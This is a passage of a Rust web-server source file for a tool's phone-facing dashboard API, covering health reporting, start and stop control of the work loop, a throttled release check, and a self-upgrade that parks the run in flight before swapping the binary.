1726/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1727/// is already the newest" from "never checked" - both are `None` - and the
1728/// phone needs to tell those apart to decide whether the deck can be trusted
1729/// to have an opinion at all.
1730#[derive(Debug, Serialize)]
1731struct UpdateView {
1732    /// A newer release is known to exist.
1733    available: bool,
1734    /// Its tag, when `available`.
1735    to: Option<String>,
1736}
1737
1738/// [`updater::Progress`] as `/api/health` reports it.
1739#[derive(Debug, Serialize)]
1740struct UpgradeProgressView {
1741    stage: updater::Stage,
1742    from: String,
1743    to: Option<String>,
1744    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1745    /// the step it is finishing before the address is handed over.
1746    waiting_on: Option<String>,
1747    started_at: Timestamp,
1748    updated_at: Timestamp,
1749    detail: Option<String>,
1750    /// Seconds the stage has outlived its allowance, when it has - see
1751    /// [`updater::stall`]. `null` while the stage is moving normally.
1752    stuck_for_secs: Option<i64>,
1753}
1754
1755/// Whether [`run_update_recheck`] may act at all this tick.
1756///
1757/// The same two conditions [`updater::Checker::new`] and
1758/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1759/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1760/// GitHub from this process" - on a button press or on a timer alike.
1761fn should_spawn_recheck(cfg: &Update) -> bool {
1762    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1763}
1764
1765/// Whether this tick should actually reach the network, once checking itself
1766/// is allowed.
1767///
1768/// An upgrade already in flight must not be raced by a check that discovers
1769/// a *newer* release while one is still installing - a phone watching
1770/// `/api/health` would see the answer change out from under the upgrade it
1771/// already asked for. Past that, [`updater::Checker::should_check`] is the
1772/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1773/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1774/// polling period, is what keeps this task's network use to at most once per
1775/// `[update] interval` regardless of how often it wakes up.
1776fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1777    if progress.is_some_and(|p| !p.stage.terminal()) {
1778        return false;
1779    }
1780    checker.should_check()
1781}
1782
1783/// How long [`run_update_recheck`] sleeps before its next wake-up.
1784///
1785/// A fraction of the configured `[update] interval` rather than a fixed
1786/// number: a fixed sleep longer than a short custom interval would leave the
1787/// deck waiting on its own wake-up rather than on `should_check`, so an
1788/// operator who set `interval = "1m"` to make the UI catch up quickly would
1789/// not see that take effect until the next restart - exactly the bug this
1790/// task exists to fix, just moved one level down. Scaling with the interval
1791/// keeps the wake-up prompt relative to what was actually configured, while
1792/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1793/// still what caps the network calls themselves at one per interval,
1794/// regardless of how often this fires.
1795fn recheck_poll_period(cfg: &Update) -> Duration {
1796    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1797}
1798
1799/// Keep `/api/health`'s `update` field current for as long as `magi web`
1800/// stays up.
1801///
1802/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1803/// which is enough for every other command: they exit in seconds. `magi web`
1804/// can run for days, so a single startup check leaves the cache - and the
1805/// phone's "Update & restart" button, which reads it via
1806/// [`cached_update_view`] - frozen on whatever that one look found, however
1807/// many releases ship afterwards. This is what notices the rest of them,
1808/// re-reading the config each tick so a `magi.toml` edit while the server is
1809/// up takes effect without a restart, the same way every other route here
1810/// already does - both for whether checking is on at all and for how long
1811/// the next sleep should be.
1812///
1813/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1814/// "install"`: swapping the running binary out from under a task or a run
1815/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1816/// not as a side effect of a timer nobody asked to fire. This only ever
1817/// calls [`updater::Checker::newer_release`], which refreshes
1818/// `last_update_check.json` and nothing else - so under `mode = "install"`
1819/// this behaves like `notify` for as long as the deck stays up, and an
1820/// actual self-install still happens exactly where it always has: once, at
1821/// the next process start.
1822async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1823    loop {
1824        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1825        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1826        if !should_spawn_recheck(&cfg.update) {
1827            continue;
1828        }
1829        let Some(checker) = updater::Checker::new(&cfg.update) else {
1830            continue;
1831        };
1832        let progress = updater::read_progress(&home);
1833        if !update_recheck_due(&checker, progress.as_ref()) {
1834            continue;
1835        }
1836        if let Err(e) = checker.newer_release().await {
1837            tracing::warn!("background update recheck failed: {e:#}");
1838        }
1839    }
1840}
1841
1842/// [`UpdateView`] from the same throttled, disk-only state
1843/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1844/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1845/// no cached state at all, which is correct: an operator who turned checking
1846/// off gets no opinion, not a stale one.
1847fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1848    let default;
1849    let cfg = match cfg {
1850        Some(cfg) => cfg,
1851        None => {
1852            default = Config::default();
1853            &default
1854        }
1855    };
1856    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1857    match latest {
1858        Some(latest) => UpdateView {
1859            available: true,
1860            to: Some(latest.tag_name),
1861        },
1862        None => UpdateView {
1863            available: false,
1864            to: None,
1865        },
1866    }
1867}
1868
1869/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1870/// from the parked run's own state when the stage is
1871/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1872/// already on disk in `run.json`, so this reads them fresh rather than
1873/// trusting whatever was true the moment the park was requested.
1874fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1875    let waiting_on = (progress.stage == updater::Stage::Parking)
1876        .then_some(progress.parked_run.as_deref())
1877        .flatten()
1878        .and_then(|id| read_run(&ui.runs, id).ok())
1879        .map(|run| {
1880            format!(
1881                "run {} is finishing {} before the address is handed over",
1882                run.short(),
1883                run.status.as_str()
1884            )
1885        });
1886    let detail = progress
1887        .detail
1888        .clone()
1889        .or_else(|| updater::read_note(&ui.home, &progress));
1890    let stalled = updater::stall(&progress, Timestamp::now());
1891    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1892    UpgradeProgressView {
1893        stuck_for_secs: stalled.map(|s| s.age_secs),
1894        stage: progress.stage,
1895        from: progress.from,
1896        to: progress.to,
1897        waiting_on,
1898        started_at: progress.started_at,
1899        updated_at: progress.updated_at,
1900        detail,
1901    }
1902}
1903
1904/// The disk figures `/api/health` carries. Every number is produced by
1905/// [`crate::disk`], the same code that decides a run may not start, so the
1906/// health screen and the gate cannot disagree about what the machine looks
1907/// like.
1908#[derive(Debug, Serialize)]
1909struct DiskView {
1910    /// Free bytes on the volume holding the runs, when measurable.
1911    #[serde(skip_serializing_if = "Option::is_none")]
1912    free_bytes: Option<u64>,
1913    /// Everything the runs directory occupies, unreadable runs included.
1914    runs_bytes: u64,
1915    /// Everything the runs' worktrees occupy.
1916    worktrees_bytes: u64,
1917    /// The shared build cache's size, when the config names one.
1918    #[serde(skip_serializing_if = "Option::is_none")]
1919    cache_bytes: Option<u64>,
1920}
1921
1922impl DiskView {
1923    /// Measure the three directories and re-read the config's cache.
1924    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1925        let cache_bytes = cfg
1926            .and_then(|cfg| cfg.cache_dir())
1927            .map(|dir| crate::disk::dir_size(&dir));
1928        Self {
1929            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1930            runs_bytes: crate::disk::dir_size(&ui.runs),
1931            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1932            cache_bytes,
1933        }
1934    }
1935}
1936
1937/// The daemon's state as the UI presents it.
1938#[derive(Debug, Serialize)]
1939struct DaemonView {
1940    running: bool,
1941    idle: Option<bool>,
1942    pid: Option<u32>,
1943    /// Every task and run currently in flight. Empty when idle; more than
1944    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1945    /// run going at once.
1946    current: Vec<daemon::Current>,
1947    completed: Option<u64>,
1948    stale_for_secs: Option<i64>,
1949}
1950
1951impl DaemonView {
1952    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1953    /// not this UI's — a crashed daemon must not look alive here while
1954    /// `doctor` calls it dead.
1955    fn of(status: Option<daemon::Reading>) -> Self {
1956        let Some(status) = status else {
1957            return Self {
1958                running: false,
1959                idle: None,
1960                pid: None,
1961                current: Vec::new(),
1962                completed: None,
1963                stale_for_secs: None,
1964            };
1965        };
1966        let now = Timestamp::now();
1967        let age = status.age_secs(now);
1968        Self {
1969            running: status.running(now),
1970            idle: Some(status.idle),
1971            pid: status.pid,
1972            current: status.current,
1973            completed: Some(status.completed),
1974            stale_for_secs: age,
1975        }
1976    }
1977}
1978
1979async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1980    blocking(move || {
1981        // One read of the status file for the two fields that describe it, so
1982        // `daemon` and `loop` in the same answer cannot disagree about who is
1983        // running the loop.
1984        let reading = daemon::read_status(&ui.home);
1985        // Read on its own line, not inside the literal below: the loop's lock
1986        // is not reentrant, and a guard taken as a temporary there would still
1987        // be held when `loop_view` took it again.
1988        let loop_rev = ui.lock_loop().rev;
1989        // One discover for both views: each is a few git processes plus a
1990        // config render, and neither depends on anything the other reads.
1991        let cfg = deputy_config(&ui.repo);
1992        let update = cached_update_view(cfg.as_ref());
1993        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1994        Ok(Json(HealthView {
1995            version: env!("CARGO_PKG_VERSION"),
1996            home: ui.home.display().to_string(),
1997            queue_rev: ui.queue.revision(),
1998            runs_rev: runs_revision(&ui.runs),
1999            questions_rev: ui.questions.revision(),
2000            talks_rev: ui.talks.revision(),
2001            notifications_rev: ui.notices.revision(),
2002            notifications_unread: ui.notices.count_unread(),
2003            loop_rev,
2004            runs_unreadable: runs_unreadable(&ui.runs),
2005            questions_open: ui.questions.count_open(),
2006            questions_needs_owner: ui.questions.count_needs_owner(),
2007            daemon: DaemonView::of(reading.clone()),
2008            looping: ui.loop_view(reading),
2009            disk: DiskView::of(&ui, cfg.as_ref()),
2010            update,
2011            upgrade,
2012        }))
2013    })
2014    .await
2015}
2016
2017/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2018#[derive(Debug, Serialize)]
2019struct LoopView {
2020    /// A loop is running in *this* process.
2021    running: bool,
2022    /// It has been asked to stop and is still finishing a run.
2023    ///
2024    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2025    /// because the two differ exactly where it matters: a loop asked to stop
2026    /// while idle is gone within one poll interval, and one asked to stop
2027    /// mid-run keeps going for as long as the graph takes. The operator needs
2028    /// to be told which of those they are waiting for.
2029    stopping: bool,
2030    /// A park was asked for: the run in flight stops at its next node
2031    /// boundary rather than finishing.
2032    ///
2033    /// Separate from `stopping` because the two promise different waits. A
2034    /// stop is "when this competition ends", which can be an hour; a park is
2035    /// "after the step it is on", which is minutes and is what an operator
2036    /// waiting to replace the binary needs to see.
2037    parking: bool,
2038    /// The loop is this process's own.
2039    ///
2040    /// Spelled separately from `running` for the front end's sake, even
2041    /// though inside this process the two move together: `running: false`
2042    /// with `daemon.running: true` is the case where the operator's own `magi
2043    /// serve` owns the loop, and `owned` is the field that tells the UI its
2044    /// buttons have to explain that rather than pretend.
2045    owned: bool,
2046    /// Repository the loop uses for tasks that name none - what it was
2047    /// started with while it runs, and what a start would use before that.
2048    repo: String,
2049    /// Merge mode override in force, or `null` when each repository's own
2050    /// config decides.
2051    merge: Option<String>,
2052    /// Why the last loop in this process ended, when it ended badly.
2053    ///
2054    /// The only place a crashed loop is visible to someone holding a phone.
2055    /// It is logged at error level as well, but a terminal nobody kept open
2056    /// is not a report, and a loop that died at 3am must not read as merely
2057    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2058    /// answers the same question about the same kind of failure.
2059    last_error: Option<String>,
2060    /// The status file, judged the same way `/api/health` judges it: this is
2061    /// what says whether a loop is alive in some *other* process.
2062    daemon: DaemonView,
2063}
2064
2065/// A loop another process already owns.
2066///
2067/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2068/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2069/// published by a pid that is not ours. Excluding our own pid is what makes
2070/// stopping work at all - the loop this process runs writes that file too, so
2071/// a check that ignored the pid would decide the operator's own UI was a
2072/// stranger and refuse to stop the loop it had just started.
2073#[derive(Debug, Clone, Copy)]
2074struct Foreign {
2075    /// The pid the other process published, when it published one.
2076    pid: Option<u32>,
2077}
2078
2079impl Foreign {
2080    /// Another process's live loop, or `None` when this process is free to
2081    /// run one.
2082    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2083        // A fresh heartbeat with no pid in it is still evidence of a live
2084        // daemon. "Some other process" is the honest answer, and refusing
2085        // to start beside it is the safe one.
2086        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2087    }
2088
2089    /// How a conflict names it. The pid is the whole point of the message: it
2090    /// is what the operator needs to find the terminal that owns the loop.
2091    fn who(&self) -> String {
2092        match self.pid {
2093            Some(pid) => format!("another magi process (pid {pid})"),
2094            None => "another magi process".to_owned(),
2095        }
2096    }
2097}
2098
2099/// How a loop is started, as a future this module can hold onto.
2100///
2101/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2102/// trait object or a hand-written `Debug` impl for the sake of one seam.
2103type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2104
2105/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2106fn launch_daemon(
2107    opts: daemon::Opts,
2108    stop: daemon::Stop,
2109) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2110    Box::pin(daemon::serve_until(opts, stop))
2111}
2112
2113/// The loop this process runs, behind one lock.
2114#[derive(Debug, Default)]
2115struct LoopState {
2116    /// The loop, while there is one.
2117    live: Option<Live>,
2118    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2119    ///
2120    /// The loop is in-process state rather than a file, so nothing on disk
2121    /// would tell a second phone that the first one started it. Without this
2122    /// counter the only way to learn about a start, a stop request or a crash
2123    /// would be to poll `/api/loop`, which is the thing the change stream
2124    /// exists to avoid on a mobile link.
2125    rev: u64,
2126    /// Why the last loop ended, when it ended badly. See
2127    /// [`LoopView::last_error`].
2128    last_error: Option<String>,
2129    /// The loop was running (and not already stopping) when the last upgrade
2130    /// parked it, so the successor should start one. Set afresh by every
2131    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2132    /// update.
2133    resume_after_handover: bool,
2134}
2135
2136/// A loop in flight.
2137#[derive(Debug)]
2138struct Live {
2139    /// The cooperative stop, shared with the loop task.
2140    stop: daemon::Stop,
2141    /// The task itself, kept only to answer whether it is still there: a loop
2142    /// that panicked never records its own end, and without this the view
2143    /// would go on reporting a loop that no longer exists - the one lie that
2144    /// would leave the operator with no button to press.
2145    handle: tokio::task::JoinHandle<()>,
2146    /// What the loop was started with, so the view reports the repository and
2147    /// merge mode its runs will actually use rather than what an edit to the
2148    /// config since would give.
2149    opts: daemon::Opts,
2150}
2151
2152impl Live {
2153    /// Is the task still there? See [`Live::handle`].
2154    fn alive(&self) -> bool {
2155        !self.handle.is_finished()
2156    }
2157}
2158
2159/// Take the loop lock, recovering from a poisoned one.
2160///
2161/// What this mutex holds is a stop flag, a task handle and two counters, none
2162/// of which a panic elsewhere can leave in a state worth refusing to read.
2163/// Propagating the poison instead would mean an operator who can see the loop
2164/// running and can no longer stop it from the only surface they have.
2165fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2166    state.lock().unwrap_or_else(PoisonError::into_inner)
2167}
2168
2169/// `GET /api/loop`.
2170async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2171    blocking(move || {
2172        let reading = daemon::read_status(&ui.home);
2173        Ok(Json(ui.loop_view(reading)))
2174    })
2175    .await
2176}
2177
2178/// The body of `POST /api/loop`.
2179///
2180/// One required field and nothing else: no `default` and no unknown fields,
2181/// so a body that fails to say which way the switch was flipped is a 400
2182/// rather than a tap that quietly does the opposite of what was pressed.
2183#[derive(Debug, Deserialize)]
2184#[serde(deny_unknown_fields)]
2185struct LoopCommand {
2186    running: bool,
2187    /// Stop the run in flight at its next node boundary rather than letting it
2188    /// finish.
2189    ///
2190    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2191    /// competition is tens of minutes of paid work and finishing it is
2192    /// normally the cheapest thing to do. A park is for the operator who
2193    /// wants the process gone now - to replace the binary, most of all - and
2194    /// it costs at most the node in progress because every node writes its
2195    /// state before the next one starts.
2196    #[serde(default)]
2197    park: bool,
2198}
2199
2200/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2201///
2202/// Answers with the view rather than waiting for the loop to reach the state
2203/// that was asked for. Starting is immediate anyway; stopping is not, and the
2204/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2205/// request open for. `stopping` in the answer is what the operator watches
2206/// instead.
2207async fn loop_post(
2208    State(ui): State<Arc<Ui>>,
2209    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2210) -> ApiResult<Json<LoopView>> {
2211    // Taken as a `Result` so a malformed body is a 400 like every other route
2212    // here, rather than axum's default 422 that the UI has no branch for.
2213    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2214    blocking(move || {
2215        let reading = daemon::read_status(&ui.home);
2216        let foreign = Foreign::of(reading.as_ref());
2217        if body.running {
2218            ui.start_loop(foreign)?;
2219        } else {
2220            ui.stop_loop(foreign, body.park)?;
2221        }
2222        Ok(Json(ui.loop_view(reading)))
2223    })
2224    .await
2225}
2226
2227/// What `POST /api/upgrade` set in motion.
2228#[derive(Debug, Serialize)]
2229struct UpgradeView {
2230    /// The version this process is running.
2231    from: String,
2232    /// The release it is replacing itself with, when there is one.
2233    to: Option<String>,
2234    /// A run was parked first, and this is its id.
2235    parked: Option<String>,
2236    /// What the operator should expect to happen next.
2237    detail: String,
2238}
2239
2240/// `POST /api/upgrade` - replace this binary with the newest release and come
2241/// back on it.
2242///
2243/// The one thing the deck could not do for itself. Every fix landed today
2244/// either waited for a competition to end or went in with the deck stopped,
2245/// because `cargo install` cannot overwrite a running executable on Windows.
2246/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2247/// the new one in its place, so the swap itself needs no downtime. Only the
2248/// restart does, and the order is the whole design:
2249///
2250/// 1. **Park.** A run in flight stops at its next node boundary and stays
2251///    resumable, so this costs at most the node in progress rather than the
2252///    competition. Without it the honest choices were waiting an hour or
2253///    discarding paid agent work.
2254/// 2. **Replace.** The new binary goes into place while this one still runs.
2255/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2256///    successor - see [`spawn_successor`] for what happens in the other
2257///    order.
2258/// 4. **Resume.** The next loop carries the parked run on rather than
2259///    competing again; see `daemon::attempt`.
2260///
2261/// Answers **202**: the reply has to reach the phone while this process can
2262/// still send one, and the phone learns the deck is back by reconnecting.
2263async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2264    let reading = daemon::read_status(&ui.home);
2265    if let Some(other) = Foreign::of(reading.as_ref()) {
2266        return Err(ApiError::conflict(format!(
2267            "the loop belongs to {}, so replacing this binary would leave \
2268             that process running an old one against the same queue. Upgrade \
2269             where it was started.",
2270            other.who()
2271        )));
2272    }
2273
2274    // The same kill switch the background check honours (`disabled_by_env`),
2275    // checked before anything else for the same reason it is read before the
2276    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2277    // contact GitHub from this process", and a button press must not
2278    // override that any more than a broken `magi.toml` may.
2279    if crate::updater::disabled_by_env() {
2280        return Ok((
2281            StatusCode::OK,
2282            Json(UpgradeView {
2283                from: env!("CARGO_PKG_VERSION").to_owned(),
2284                to: None,
2285                parked: None,
2286                detail: format!(
2287                    "Automatic updates are disabled by {}. Nothing was parked \
2288                     and nothing restarted.",
2289                    crate::updater::NO_AUTOUPDATE_ENV
2290                ),
2291            }),
2292        ));
2293    }
2294
2295    // Asked before anything is disturbed. Restarting when there is nothing
2296    // to install is not a harmless no-op: it parks the run in flight and
2297    // drops every connection to pay for an upgrade that did not happen. A
2298    // probe against a deck already on the newest build did exactly that.
2299    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2300    let from = env!("CARGO_PKG_VERSION").to_owned();
2301    let latest = match crate::updater::Checker::new(&cfg.update) {
2302        Some(checker) => checker
2303            .newer_release()
2304            .await
2305            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2306        None => None,
2307    };
2308    let Some(latest) = latest else {
2309        return Ok((
2310            StatusCode::OK,
2311            Json(UpgradeView {
2312                from,
2313                to: None,
2314                parked: None,
2315                detail: "Already on the newest release. Nothing was parked \
2316                         and nothing restarted."
2317                    .to_owned(),
2318            }),
2319        ));
2320    };
2321
2322    // Parked before anything is replaced: a successor that came up while a
2323    // run was mid-node would find a run nobody is driving.
2324    let parked = ui.park_for_upgrade()?;
2325    let detail = match &parked {
2326        // Honest about the wait. A park takes effect at the *next* node
2327        // boundary, so a run mid-implement finishes that wave first - up to
2328        // `timeout_implement`, an hour by default. Saying "restarting now"
2329        // would make the deck look wedged for the rest of it.
2330        Some(run) => format!(
2331            "Run {} is parking at its next step, which can take as long as \
2332             the step it is on - up to an hour for an implement wave. The \
2333             deck replaces itself once it parks, comes back, and the loop \
2334             carries that run on from where it stopped. Nothing is lost if \
2335             you close this.",
2336            crate::run::short_of(run)
2337        ),
2338        None => "The deck replaces itself and comes back. Nothing was in \
2339                 flight to park."
2340            .to_owned(),
2341    };
2342
2343    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2344    // poll must see a `Downloading` stage immediately, not whenever the
2345    // spawned task happens to get scheduled.
2346    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2347    progress.parked_run = parked.clone();
2348    let _ = updater::write_progress(&ui.home, &progress);
2349
2350    let home = ui.home.clone();
2351    let looping = ui.looping();
2352    tokio::spawn(async move {
2353        if let Err(e) = upgrade_and_restart(home.clone()).await {
2354            tracing::error!("the upgrade did not complete: {e:#}");
2355            lock_or_recover(&looping).resume_after_handover = false;
2356            if let Some(mut progress) = updater::read_progress(&home) {
2357                progress.fail(format!("{e:#}"));
2358                let _ = updater::write_progress(&home, &progress);
2359            }
2360        }
2361    });
2362
2363    Ok((
2364        StatusCode::ACCEPTED,
2365        Json(UpgradeView {
2366            from,
2367            to: Some(latest.tag_name),
2368            parked,
2369            detail,
2370        }),
2371    ))
2372}
2373
2374/// Replace the binary, then ask [`serve`] to hand the address over.
2375///
2376/// Separated from the handler so the 202 is already on its way, and separated
2377/// from the spawn so the successor starts only after the listener is dropped.
2378async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2379    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2380    // hang the upgrade for as long as the process lives.
2381    crate::updater::run_self_update(true, false, true).await?;
2382    updater::log_step(&home, "binary replaced - recording the replaced stage");
2383    if let Some(mut progress) = updater::read_progress(&home) {
2384        progress.advance(updater::Stage::Replaced);
2385        updater::write_progress_logged(&home, &progress);
2386    }
2387    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2388    HANDOVER.notify_one();
2389    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2390    Ok(())
2391}
2392
2393/// One row in the run list.
2394///
2395/// The list route returns this rather than whole `RunState`s: the summary of a
2396/// run is a few hundred bytes and the state is megabytes, and the difference
2397/// is what makes the history usable on a mobile link.
2398#[derive(Debug, Serialize)]
2399struct RunSummary {
2400    id: String,
2401    short: String,
2402    status: String,
2403    done: bool,
2404    instruction: String,
2405    title: String,
2406    repo: String,
2407    repo_name: String,
2408    created_at: String,
2409    updated_at: String,
2410    candidates: usize,
2411    viable: usize,
2412    judges: usize,
2413    winner: Option<char>,
2414    reviews: usize,
2415    quota_losses: usize,
2416    event: Option<String>,
2417    /// The later attempt at the same task that replaced this one, if any.
2418    ///
2419    /// Two cards with one title is otherwise unreadable: this is what lets
2420    /// the deck say "superseded by 4043" on the older of the pair.
2421    superseded_by: Option<String>,
2422    /// Blocked on a question nobody has answered.
2423    ///
2424    /// Derived from the question store rather than stored on the run: an agent
2425    /// calling `magi ask` blocks mid-node, and writing a status from there
2426    /// would race the graph's own save of `run.json` and be overwritten at the
2427    /// next node boundary. Asking the store is always true and never races.
2428    waiting: bool,
2429    /// Whether the process recorded as driving this run can still be proven
2430    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2431    /// rather than presenting its last graph node as still in flight.
2432    live: crate::run::Liveness,
2433    /// The land loop's last look at the pull request, when there is one.
2434    pr: Option<crate::run::PrRecord>,
2435    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2436    /// design — never picked up by the PR-polling merge watcher, unlike an
2437    /// ordinary `Ready` that may still be a live landing candidate. See
2438    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2439    /// re-deriving the same check from `status` and `merge.mode` itself.
2440    unmerged_by_design: bool,
2441    /// Who started the run, as the one label every surface shares; the
2442    /// "origin unknown" wording when the record predates origins.
2443    origin_label: String,
2444}
2445
2446impl RunSummary {
2447    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2448        Self {
2449            id: state.id.clone(),
2450            short: state.short().to_owned(),
2451            status: status_word(state.status),
2452            done: state.status.done(),
2453            unmerged_by_design: state.unmerged_by_design(),
2454            instruction: state.instruction.clone(),
2455            title: title_from(&state.instruction, TITLE_MAX),
2456            repo: state.repo.display().to_string(),
2457            repo_name: state
2458                .repo
2459                .file_name()
2460                .map(|n| n.to_string_lossy().into_owned())
2461                .unwrap_or_default(),
2462            created_at: state.created_at.to_string(),
2463            updated_at: state.updated_at.to_string(),
2464            candidates: state.candidates.len(),
2465            viable: state.viable().len(),
2466            judges: state.config.graph.judges,
2467            winner: state.winner().map(|c| c.label),
2468            reviews: state.reviews.len(),
2469            quota_losses: state.quota.len(),
2470            event: state.events.last().map(|e| e.message.clone()),
2471            waiting,
2472            live,
2473            // Filled in by the list route, which is the only place that can
2474            // see a task's other attempts.
2475            superseded_by: None,
2476            pr: state.pr.clone(),
2477            origin_label: crate::run::origin_label(state.origin.as_ref()),
2478        }
2479    }
2480}
2481
2482/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2483/// the same string `serde` writes for the status inside a full run.
2484fn status_word(status: RunStatus) -> String {
2485    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2486    // was a third way of naming the same statuses, and one that changed
2487    // silently with a derive.
2488    status.as_str().to_owned()
2489}
2490
2491/// `?limit=`, clamped by the handler.
2492#[derive(Debug, Deserialize)]
2493struct ListQuery {
2494    #[serde(default)]
2495    limit: Option<usize>,
2496}
2497
2498async fn runs_list(
2499    State(ui): State<Arc<Ui>>,
2500    Query(q): Query<ListQuery>,
2501) -> ApiResult<Json<Vec<RunSummary>>> {
2502    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2503    blocking(move || {
2504        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2505        let states = run_ids(&ui.runs)
2506            .into_iter()
2507            // A run whose state cannot be read is skipped, not fatal: a run
2508            // killed mid-write must not blank the history of every other one.
2509            // The detail route still explains it, which is where an operator
2510            // asking "what happened to that run" ends up.
2511            .filter_map(|id| read_run(&ui.runs, &id).ok())
2512            .take(limit);
2513        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2514        let summaries = summarize(
2515            states,
2516            &open_runs,
2517            &claimed,
2518            &superseded,
2519            |p| probe.borrow_mut().status(p),
2520            |p| probe.borrow_mut().started_at(p),
2521        );
2522        Ok(Json(summaries))
2523    })
2524    .await
2525}
2526
2527/// Everything the per-run rows share, read once: runs with an open question,
2528/// runs a live daemon claims, and the superseded map. Asking per run re-read
2529/// every question file and the daemon status file for each of hundreds of
2530/// runs, and spawned a process probe per run on Windows.
2531fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2532    let open_runs: HashSet<String> = ui
2533        .questions
2534        .list()
2535        .into_iter()
2536        .filter(|q| q.status.open())
2537        .map(|q| q.run)
2538        .collect();
2539    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2540        .into_iter()
2541        .map(|c| c.run)
2542        .collect();
2543    (open_runs, claimed, ui.queue.superseded())
2544}
2545
2546/// The rows of the run list, given everything that is shared between them.
2547///
2548/// Pure over its inputs so a test can count how often the process queries are
2549/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2550/// takes, called at most once per run.
2551fn summarize<I, S, D>(
2552    states: I,
2553    open_runs: &HashSet<String>,
2554    claimed: &HashSet<String>,
2555    superseded: &HashMap<String, String>,
2556    mut status_q: S,
2557    mut identity_q: D,
2558) -> Vec<RunSummary>
2559where
2560    I: IntoIterator<Item = RunState>,
2561    S: FnMut(u32) -> Option<bool>,
2562    D: FnMut(u32) -> Option<String>,
2563{
2564    states
2565        .into_iter()
2566        .map(|state| {
2567            let waiting = open_runs.contains(&state.id);
2568            let live =
2569                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2570            let mut row = RunSummary::of(&state, waiting, live);
2571            row.superseded_by = superseded
2572                .get(&state.id)
2573                .map(String::as_str)
2574                .map(crate::run::short_of)
2575                .map(str::to_owned);
2576            row
2577        })
2578        .collect()
2579}
2580
2581/// A run as the detail route hands it to the phone.
2582///
2583/// The whole state, flattened, plus `instruction_md`: the Task panel renders
